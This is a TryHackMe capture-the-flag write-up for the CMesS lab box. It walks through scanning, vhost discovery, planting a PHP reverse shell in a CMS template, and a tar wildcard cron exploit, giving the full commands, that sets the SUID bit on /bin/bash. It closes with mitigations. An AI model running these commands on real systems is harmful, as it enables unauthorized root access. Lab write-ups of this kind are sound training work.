# THM - CMesS
| Room | CMesS |
| ----- | --------------------------------------------- |
| OS | :penguin: Linux |
| Level | **Medium** |
| Link | |
## Reconnaissance
After booting up the target and adding `cmess.thm` to the `/etc/hosts` we find two open ports with our portscanner of trust:
Following up on that with a more verbose `nmap` scan we can quickly rule out `ssh` as a point of entry - which leaves us with a single web port.
{% tabs %}
{% tab title="Command" %}
```
sudo nmap -A -p22,80 --script=default,vuln cmess.thm
```
{% endtab %}
{% tab title="Output" %}
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
| 256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_ 256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
[REDACTED for brevity]
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
| /blog/: Blog
| /admin/: Possible admin folder
| /admin/admin/: Possible admin folder
[REDACTED for brevity]
| /login/: Login page
| /robots.txt: Robots file
[REDACTED for brevity]
| /admin/environment.xml: Moodle files
| /0/: Potentially interesting folder
| /1/: Potentially interesting folder
| /author/: Potentially interesting folder
| /index/: Potentially interesting folder
|_ /search/: Potentially interesting folder
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=cmess.thm
| Found the following possible CSRF vulnerabilities:
|
| Path: http://cmess.thm:80/
| Form id:
|_ Form action: http://cmess.thm/
| http-robots.txt: 3 disallowed entries
|_/src/ /themes/ /lib/
| vulners:
| cpe:/a:apache:http_server:2.4.18:
| CVE-2022-31813 7.5 https://vulners.com/cve/CVE-2022-31813
[REDACTED for brevity]
| CVE-2016-8612 3.3 https://vulners.com/cve/CVE-2016-8612
|_ PACKETSTORM:152441 0.0 https://vulners.com/packetstorm/PACKETSTORM:152441 *EXPLOIT*
|_http-generator: Gila CMS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), Linux 5.4 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 39.50 ms 10.9.0.1
2 40.42 ms cmess.thm (10.10.25.197)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 336.25 seconds
```
{% endtab %}
{% endtabs %}
It appears that we've got a webserver running on port 80 hosting a CMS called GilaCMS.
## Service Enumeration
Starting off with some manual enumeration, `http://cmess.thm` does not seem to contain much. We do find a reference to the CMS creators and a single "Hello World" post but that's about it. Running `gobuster` yields quite a few routes though:
{% tabs %}
{% tab title="Command" %}
```bash
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://cmess.thm/
```
{% endtab %}
{% tab title="Output" %}
```
/.hta (Status: 403) [Size: 274]
/.htaccess (Status: 403) [Size: 274]
/.htpasswd (Status: 403) [Size: 274]
/0 (Status: 200) [Size: 3851]
/01 (Status: 200) [Size: 4078]
/1 (Status: 200) [Size: 4078]
/1x1 (Status: 200) [Size: 4078]
/about (Status: 200) [Size: 3353]
/About (Status: 200) [Size: 3339]
/admin (Status: 200) [Size: 1580]
/api (Status: 200) [Size: 0]
/assets (Status: 301) [Size: 318] [--> http://cmess.thm/assets/?url=assets]
/author (Status: 200) [Size: 3590]
/blog (Status: 200) [Size: 3851]
/category (Status: 200) [Size: 3862]
/cm (Status: 500) [Size: 0]
/feed (Status: 200) [Size: 735]
/fm (Status: 200) [Size: 0]
/index (Status: 200) [Size: 3851]
/Index (Status: 200) [Size: 3851]
/lib (Status: 301) [Size: 312] [--> http://cmess.thm/lib/?url=lib]
/log (Status: 301) [Size: 312] [--> http://cmess.thm/log/?url=log]
/login (Status: 200) [Size: 1580]
/robots.txt (Status: 200) [Size: 65]
/search (Status: 200) [Size: 3851]
/Search (Status: 200) [Size: 3851]
/server-status (Status: 403) [Size: 274]
/sites (Status: 301) [Size: 316] [--> http://cmess.thm/sites/?url=sites]
/src (Status: 301) [Size: 312] [--> http://cmess.thm/src/?url=src]
/tag (Status: 200) [Size: 3874]
/tags (Status: 200) [Size: 3139]
/themes (Status: 301) [Size: 318] [--> http://cmess.thm/themes/?url=themes]
/tmp (Status: 301) [Size: 312] [--> http://cmess.thm/tmp/?url=tmp]
```
{% endtab %}
{% endtabs %}
Amongst some *forbidden* and uninteresting paths, we do find a login panel at `/admin/`. Since the room description on TryHackMe states that "no brute forcing is required" one of the first things we can try is to google for default credentials.
Not having found any, whilst on google, we can also search for known vulnerabilities (utilizing `searchsploit` as well). We discover a few exploits that require authentication and [one unauthenticated remote code execution for Gila CMS < 2.0.0](https://www.exploit-db.com/exploits/49412).
However, so far we've not been able to reliable discover the exact version of the CMS and after modifying the exploit for our linux target it does not appear to work.
As part of more enumeration we can also test for subdomains or rather virtual hosts (`vhost`s) on the target using `wfuzz`:
{% tabs %}
{% tab title="Command" %}
```
wfuzz -c -u http://cmess.thm -H "Host: FUZZ.cmess.thm" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hw 290
```
{% endtab %}
{% tab title="Output" %}
```
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://cmess.thm/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 30 L 104 W 934 Ch "dev"
Total time: 0
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0
```
{% endtab %}
{% endtabs %}
So there appears to be something different at: `dev.cmess.thm`. Adding this to the `/etc/hosts` we can access the development log:
{% hint style="success" %}
We found credentials for the `andre` user.
{% endhint %}
## Initial Access
Using these credentials on the admin panel we discovered earlier we are now authorized:
From here on we could attempt to use an exploit *or*, and that seems a bit easier, just modify one of the template pages (e.g. the `footer.php`) and inject a php reverse shell ([such as this one](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php)).
Reloading any page on `http://cmess.thm` will spawn us a shell in our listener as the `www-data` user.
## Privilege Escalation
As `www-data` we unfortunately don't have `sudo` permissions nor access to other users home directories. However, we can see that the user `andre` exists and while looking for scheduled jobs on the machine we also find an interesting cronjob:
In order to abuse that cronjob we'll have to become `andre` first though. After looking at running processes and SUID binaries we come across an interesting file with very lax permissions:
We were lucky that this file wasn't hidden very well but otherwise a script such as `linpeas` or a special `find` would have done the work for us.
Now as `andre` we have access to the `backup` directory in our home folder and can exploit the `cronjob`. For those who haven't seen this `tar` wildcard exploitation before: a mix of [GTFOBins](https://gtfobins.github.io/gtfobins/tar/) and google will teach you that we can create files with names such as `--checkpoint=1` that will be caught by the wildcard (`*`) and then interpreted as actual flags to the `tar` command. Since the command runs as `root` we can (for example) simply craft flags that will add the SUID bit to `/bin/bash` for easy privilege escalation. Here are the commands:
```
cd /home/andre/backup
touch ./--checkpoint=1
touch ./--checkpoint-action=exec=bash\ exec.sh
echo chmod +s /bin/bash > exec.sh
chmod +x exec.sh
```
We saw the `*/2` in the `crontab` which means that the job will run once every 2 minutes. So after waiting a short period of time, we should be able to see that the permissions of `/bin/bash` have been altered:
Now we simply execute `/bin/bash` with the `-p` flag (to disable the privilege squashing) and gain `root` access:
{% hint style="success" %}
Submit the final flag and enjoy `root`.
{% endhint %}
## Mitigations
Although these challenges aren't aimed at being perfectly realistic, it's always interesting to enumerate the weaknesses that led to the full compromise of the system. So here's what i think were the main issues that would need to be addressed:
* Accessible development server -> this should most likely be an internal server and even then at least be secured
* Cleartext depiction of sensitive information -> although this goes together with the first point, sensitive information, especially passwords should not be sent or stored in cleartext (if at all)
* Admin access on the CMS -> if not absolutely necessary, `andre` should not be an administrator on the CMS, i.e. apply principle of least privilege
* Unsafe permissions -> backup files should not be readable by everyone and scheduled tasks should only run with the least required privileges